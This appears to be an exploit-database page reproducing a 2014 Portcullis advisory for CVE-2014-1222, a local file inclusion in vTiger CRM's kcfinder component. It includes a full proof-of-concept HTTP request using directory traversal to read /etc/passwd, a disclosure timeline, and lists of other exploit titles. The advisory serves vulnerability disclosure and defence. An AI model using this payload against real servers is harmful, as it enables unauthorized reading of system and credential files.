Menu

Search for hundreds of thousands of exploits

"vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion"

Author

Exploit author

Portcullis

Platform

Exploit platform

php

Release date

Exploit published date

2014-03-12

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
CVE: 	CVE-2014-1222
Vendor: 	Vtiger
Product: 	CRM
Affected version: 	Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: 	Vtiger 6.0.0 Security patch 1
Reported by: 	Jerzy Kramarz
Details:

A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.

The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off

dir=files&file=/../../../../../../../../../../../etc/passwd

Note: In order to exploit this vulnerability an attacker has to be authenticated.
Impact:

This vulnerability gives an attacker the ability to read local files from the server filesystem.
Exploit:

Exploit code is not required.

Vendor status:
23/12/2013 	Advisory created
03/01/2014 	Vendor contacted
14/01/2014 	CVE obtained
27/01/2014 	Vendor contact reattempted
10/02/2014 	Vendor working on a fix
12/02/2014 	Fix released
13/02/2014 	Fix confirmed
11/03/2014 	Published
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2016-02-03 "Viprinet Multichannel VPN Router 300 - Persistent Cross-Site Scripting" webapps hardware Portcullis
2015-09-25 "X2Engine 4.2 - Cross-Site Request Forgery" webapps php Portcullis
2015-09-25 "X2Engine 4.2 - Arbitrary File Upload" webapps php Portcullis
2015-07-14 "Pimcore CMS Build 3450 - Directory Traversal" webapps xml Portcullis
2015-04-21 "BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion" webapps cfm Portcullis
2014-12-10 "OpenEMR 4.1.2(7) - Multiple SQL Injections" webapps php Portcullis
2014-10-28 "Enalean Tuleap 7.4.99.5 - Remote Command Execution" webapps php Portcullis
2014-10-28 "Enalean Tuleap 7.4.99.5 - Blind SQL Injection" webapps php Portcullis
2014-10-28 "Enalean Tuleap 7.2 - XML External Entity File Disclosure" webapps php Portcullis
2014-10-02 "PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution" webapps php Portcullis
2014-10-02 "TestLink 1.9.11 - Multiple SQL Injections" webapps php Portcullis
2014-06-12 "IBM AIX 6.1.8 - 'libodm' Arbitrary File Write" local aix Portcullis
2014-05-14 "Broadcom PIPA C211 - Sensitive Information Disclosure" webapps hardware Portcullis
2014-04-24 "dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read" webapps php Portcullis
2014-03-12 "Procentia IntelliPen 1.1.12.1520 - 'data.aspx' Blind SQL Injection" webapps asp Portcullis
2014-03-12 "vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion" webapps php Portcullis
2014-03-10 "ownCloud 4.0.x/4.5.x - 'upload.php?Filename' Remote Code Execution" webapps multiple Portcullis
2014-03-01 "Oracle Demantra 12.2.1 - SQL Injection" webapps windows Portcullis
2014-03-01 "Oracle Demantra 12.2.1 - Persistent Cross-Site Scripting" webapps windows Portcullis
2014-03-01 "Oracle Demantra 12.2.1 - Arbitrary File Disclosure" webapps windows Portcullis
2014-03-01 "Oracle Demantra 12.2.1 - Database Credentials Disclosure" webapps windows Portcullis
2008-05-11 "ScrewTurn Software ScrewTurn Wiki 2.0.x - 'System Log' Page HTML Injection" webapps php Portcullis
2008-05-08 "SAP Internet Transaction Server 6200.1017.50954.0 Bu (WGate) - 'wgate.dll?~service' Cross-Site Scripting" webapps cgi Portcullis
2008-05-08 "SAP Internet Transaction Server 6200.1017.50954.0 - Bu query String JavaScript Splicing Cross-Site Scripting" webapps cgi Portcullis 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected